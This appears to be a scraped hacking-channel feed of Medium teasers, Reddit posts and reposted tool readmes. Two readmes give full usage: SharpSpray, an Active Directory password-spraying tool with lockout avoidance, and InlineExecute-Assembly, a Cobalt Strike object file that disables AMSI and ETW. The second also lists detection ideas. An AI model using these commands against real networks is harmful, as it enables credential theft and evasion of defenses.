Hello Magnificent Readers ,Continue reading on Medium » (https://parshwa-fabaf.medium.com/last-minute-revision-for-cyber-security-interview-4d3c835cddf7?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

My biggest dream — Ethical Hacking
https://medium.com/@legendarybroly127/my-biggest-dream-ethical-hacking-ff6ed8c65149?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

When technologies started to come in our house I was a kid. These technologies include mobile, laptop and computer. The main focus was to…Continue reading on Medium » (https://medium.com/@legendarybroly127/my-biggest-dream-ethical-hacking-ff6ed8c65149?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Why You Should Never Test Exploits on Mainnet or Public Testnets
https://medium.com/immunefi/why-you-should-never-test-exploits-on-mainnet-or-public-testnets-7e904a2cbf05?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Not everyone who moves from the Web2 security world into the Web3 space is aware of the most important, fundamental rule about blockchain…Continue reading on Immunefi » (https://medium.com/immunefi/why-you-should-never-test-exploits-on-mainnet-or-public-testnets-7e904a2cbf05?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

SharpSpray - Active Directory Password Spraying Tool. Auto Fetches User List And Avoids Potential Lockouts
http://www.kitploit.com/2021/09/sharpspray-active-directory-password.html

___________________________
@hacking_Attack
@Hacking_Video

SharpSpray is a Windows domain password spraying tool written in .NET C#.
Introduction
SharpSpray is a C# port of DomainPasswordSpray (https://github.com/dafthack/DomainPasswordSpray) with enhanced and extra capabilities. This tool uses LDAP Protocol to communicate with the Domain active directory services.
Features
Can operate from inside and outside a domain context. Exclude domain disabled accounts from the spraying. Auto gathers domain users from the Active directory. Avoid potential lockouts by excluding accounts within one attempt of locking out. Avoid potential lockouts by auto-gathering domain lockout observation window settings. Compatible with Domain Fine-Grained Password policies. Custom LDAP filter for users, e.g. (description=admin) Delay in seconds between each authentication (https://www.kitploit.com/search/label/Authentication) attempt. Jitter between each authentication attempt. Support a single password or a list of passwords. Single file Console (https://www.kitploit.com/search/label/Console) Application.
Usage

Command Line Args
SharpSpray.exe --help -v, --Verbose Show verbose messages. -u (Optional) Username list file path. This will be automatically fetched from the active directory if not specified. -p A single password that will be used to perform the password spray. -k, --pl (Optional) Password List file path. -d (Optional) Specify a domain name. -m Use this option if spraying from a host located outside the Domain context. -q, --dc-ip Required when the option 'm' OutsideDomain is checked -x Attempts to exclude disabled accounts from the user list (Not supported with the option -m) -z Exclude accounts within 1 attempt of locking out (Not supported with the option -m) -f Custom LDAP filter for users, e.g. "(description=*admin*)" -o A file to output the results to. -w Do not relay on domain lockout observation window settings and use this specific value. (Default 32 minute) -s (Optional) Delay in seconds between each authentication attempt. -j (Optional) Jitter in seconds. --Force Force start without asking for confirmation. --get-users-list Get the domain users list from the active directory. --show-examples Get domain users list from the active directory. --show-args Show command line (https://www.kitploit.com/search/label/Command%20Line) args --help Display this help screen. ">> SharpSpray.exe --help

-v, --Verbose Show verbose messages.
-u (Optional) Username list file path. This will be
automatically fetched from the active directory if not specified.
-p A single password that will be used to perform the password spray.
-k, --pl (Optional) Password List file path.
-d (Optional) Specify a domain name.
-m Use this option if spraying from a host located outside the Domain context.
-q, --dc-ip Required when the option 'm' OutsideDomain is checked
-x Attempts to exclude disabled accounts
from the user list (Not supported with the option -m)
-z Exclude accounts within 1 attempt of
locking out (Not supported with the option -m)
-f Custom LDAP filter for users, e .g. "(description=*admin*)"
-o A file to output the results to.
-w Do not relay on domain lockout observation window settings and use this specific value. (Default 32 minute)
-s (Optional) Delay in seconds between each authentication attempt.

___________________________
@hacking_Attack
@Hacking_Video

-j (Optional) Jitter in seconds.
--Force Force start without asking for confirmation.
--get-users-list Get the domain users list from the active directory.
--show-examples Get domain users list from the active directory.
--show-args Show command line args
--help Display this help screen.

Usage Examples
users.txt PS> .\SharpSpray.exe --get-users-list | Out-File -Encoding ascii users.txt ">SharpSpray.exe -v -x -z --pl password.txt
SharpSpray.exe -x -z -u users.txt --pl psswd.txt
SharpSpray.exe -x -z -u users.txt -p Passw0rd!
SharpSpray.exe -x -z -s 3 -j 1 -u users.txt -k psswd.txt -o sprayed.txt

SharpSpray.exe -w 32 -m -d DC-1.local --dc-ip 10.10.20.20 -u users.txt --pl psswd.txt
SharpSpray.exe -w 32 -s 3 -j 1 -m -d DC-1.local --dc-ip 10.10.20.20 -u users.txt --pl psswd.txt

SharpSpray.exe --get-users-list
SharpSpray.exe --get-users-list > users.txt
PS> .\SharpSpray.exe --get-users-list | Out-File -Encoding ascii users.txt

Fetching only the users list from the Active Directory
The following command will fetch domain users and prints the list to the console. SharpSpray.exe -x -z --get-users-list

-x: Exclude disabled accounts from the user list.
-z: Exclude accounts within 1 attempt of locking out.

Meta
SharpSpray | (https://c99.sh/sharpspray-active-directory-password-spraying-tool/)Active Directory (https://www.kitploit.com/search/label/Active%20Directory) Password Spraying Tool

Download SharpSpray (https://github.com/iomoath/SharpSpray)

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
InlineExecute-Assembly : A PoC Beacon Object File (BOF) That Allows Security Professionals To Perform In Process .NET Assembly Execution

InlineExecute-Assembly is a proof of concept Beacon Object File (BOF) that allows security professionals to perform in process .NET assembly execution as an alternative to Cobalt Strikes traditional fork and run execute-assembly module. InlineExecute-Assembly will execute any assembly with the entry point of Main(string[] args)or Main(). This should allow you to run most released tooling without any prior modification needed.

The BOF will automatically determine which Common Language Runtime (CLR) is needed to be loaded into the process for your assembly (v2.0.50727 or v4.0.30319) prior to execution and in most cases, should exist gracefully if any issues arise. The BOF also supports several flags which allow the operator to dictate several behaviors prior to .NET execution which include, disabling AMSI via in memory patching, disabling and restoring ETW via in memory patching, customization of the CLR App Domain name to be created, whether to create and direct console output of your assembly to a named pipe or mailslot, and allows the operator to switch the default entry point of Main(string[] args) to Main(). More details on usage, use cases, and possible detections can be found below and https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/.

Lastly the advantage of executing our .NET assemblies in the same process as our beacon implant is that we avoid the default behavior of Cobalt Strike’s execute-assembly module which creates a new process to then load/inject the CLR/.NET assembly. However, other opsec considerations still exist, for example, does the process we are executing within normally load the CLR or does the .NET assembly we are executing have any known signatures? Therefore, the disadvantage is that if something does get detected and killed, for example by AMSI, your beacon is also killed. Getting Started

* Copy the inlineExecute-Assembly folder with all of its contents to a system you plan to connect with via the Cobalt Strike GUI application.
* Load in the inlineExecute-Assembly.cna Aggressor script
* Run inlineExecute-Assembly –dotnetassembly /path/to/assembly.exe for most basic execution (see use cases below for specific flag examples) Build Your Own

Run the below command inside the src directory via x64 Native Tools Command Prompt for VS 2019

cl.exe /c inlineExecute-Assembly.c /GS- /FoinlineExecute-Assemblyx64.o

Run the below command inside the src directory via x86 Native Tools Command Prompt for VS 2019

cl.exe /c inlineExecute-Assembly.c /GS- /FoinlineExecute-Assemblyx86.o

Flags

–dotnetassembly Directory path to your assembly required
–assemblyargs Assembly arguments to pass
–appdomain Change default name of AppDomain sent (default value is totesLegit and is set via the included aggressor script) Domain always unloaded
–amsi Attempts to disable AMSI via in memory patching (If successful AMSI will be disabled for the entire life of process)
–etw Attempts to disable ETW via in memory patching (If successful ETW will be disabled for the entire life of process unless reverted)
–revertetw Attempts to disable ETW via in memory patching and then repatches it back to original state
–pipe Change default name of named pipe (default value is totesLegit and is set via the included aggressor script)
–mailslot Switches to using mailslots to redirect console output. Changes default name of mailslot (If left blank, default value is totesLegit and is set via the included aggressor script)
–main Changes entry point to Main() (default value is Main(string[] args))

Use Case

Execute .NET assembly

Syntax

beacon> inlineExecute-Assembly –dotnetassembly /root/Desktop/Seatbelt.exe

Use Cas[...]

___________________________
@hacking_Attack
@Hacking_Video

e

Execute .NET assembly with arguments

Syntax

beacon> inlineExecute-Assembly –dotnetassembly /root/Desktop/Seatbelt.exe –assemblyargs AntiVirus AppLocker

Use Case

Execute .NET assembly with arguments and disable AMSI

Syntax

beacon> inlineExecute-Assembly –dotnetassembly /root/Desktop/Seatbelt.exe –assemblyargs AntiVirus AppLocker –amsi

Use Case

Execute .NET assembly with arguments and disable ETW

Syntax

beacon> inlineExecute-Assembly –dotnetassembly /root/Desktop/Seatbelt.exe –assemblyargs AntiVirus AppLocker –etw

Use Case

Execute .NET assembly with arguments and redirect output via mailslots instead of the default named pipe

Syntax

beacon> inlineExecute-Assembly –dotnetassembly /root/Desktop/Seatbelt.exe –mailslot

Use Case

Execute .NET assembly with arguments and change the default named pipe name set in the aggressor script

Syntax

beacon> inlineExecute-Assembly –dotnetassembly /root/Desktop/Seatbelt.exe –pipe forRealLegit

Use Case

Execute .NET assembly and change the default app domain set in the aggressor script Syntax

beacon> inlineExecute-Assembly –dotnetassembly /root/Desktop/Seatbelt.exe –appdomain forRealLegit

Use Case

Execute .NET assembly with Main() entry point instead of the default Main(string[] args) Syntax

beacon> inlineExecute-Assembly –dotnetassembly /root/Desktop/simpleMain.exe –main

Use Case

Go HAM Syntax

beacon> inlineExecute-Assembly –dotnetassembly /root/Desktop/Seatbelt.exe –assemblyargs AntiVirus AppLocker –amsi –etw –appdomain forRealLegit –mailslot forRealLegit

Caveats

* While I have tried to make this as stable as possible, there are no guarantees things will never crash and beacons won’t die. We don’t have the added luxury of fork and run where if something goes wrong our beacon lives. This is the tradeoff with BOFs. With that said, I can’t stress how important it is that you test your assemblies beforehand to make sure they will work properly with the tool.
* Since the BOF is executed in process and takes over the beacon while running, this should be taken into account before being used for long running assemblies. If you choose to run something that will take a long time to get back results, your beacon will not be active to run more commands till the results come back and your assembly finishes running. This also doesn’t adhere to sleep set. For example, if your sleep is set at 10 minutes and you run the BOF, you will get results back as soon as the BOF finishes executing.
* Unless modification is done to tools that load PE’s in memory (e.g., SafetyKatz), these will most likely kill your beacon. Many of these tools work fine with execute assembly because they are able to send their console output from the sacrificial process before exiting. When they exit via our in process BOF, they kill our process, which kills our beacon. These can be modified to work but I would advise running these types of assemblies via execute assembly since other non-OPSEC friendly things could be loaded into your process that don’t get removed.
* If your assembly uses Environment.Exit this will need to be removed as it will kill the process and beacon.
* Named pipes and mail slots need to be unique. If you don’t receive data back and your beacon is still alive, the issue is most likely you need to select a different named pipe or mail slot name. Detection

Some detection and mitigation strategies that could be used:

* Uses PAGE_EXECUTE_READWRITE when performing AMSI and ETW memory patching. This was done on purpose and should be a red flag as very few programs have memory ranges with the memory protection of PAGE_EXECUTE_READWRITE.
* Default name of named pipe created is totesLegit. This was done on purpose and signature detections could be used to flag this.
* Default name of mailslot created is totesLegit. This was done on purpose and signature detections could be used to flag this.
* Default name of AppDoma[...]

___________________________
@hacking_Attack
@Hacking_Video

in loaded is totesLegit. This was done on purpose and signature detections could be used to flag this.
* Good tips on detecting malicious use of .NET (by @bohops) here, (by F-Secure) here, and here
* Looking for .NET CLR loading into suspicious processes, such as unmanaged processes which should never have the CLR loaded.
* Event Tracing here
* Looking for other known Cobalt Strike Beacon IOC’s or C2 egress/communication IOC’s. Download

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Attempted hack of unknown email address

Last night I had notifications of login attempts to my email from various places around the world. It was clearly a hacking attempt.

However, the strange thing is that I only use this address for iCloud, Amazon, and PayPal. None of which I believe to have had a leak, and confirmed this morning on Have I Been Pwned.

Fortunately, I use 2FA and change my PW frequently, so they failed to get in. However, I am perplexed at the source of the attack.

Unless it was targeted by someone who knows me (somewhat unlikely), how did they get this email address?

submitted by /u/ozzurfer
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
TryHackMe - Opinion

Hi All,

Just looking to get some opinions on TryHackMe, is its premium subscription worth the price, is it useful for the beginner/pro alike? Or is best to stay away?

Any opinions would be helpful.

Thanks.

submitted by /u/komorebi-iberomok
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Hack This Site: Realistic Web Mission — Level 1

https://cdn-images-1.medium.com/max/2048/1*dlf9Y0oQNP01-hPnpibkUw.png
Today we are looking at the Hack This Site Realistic Web Mission level 1. This mission requires the hacker to modify the source of the web…

Continue reading on Geek Culture »

___________________________
@hacking_Attack
@Hacking_Video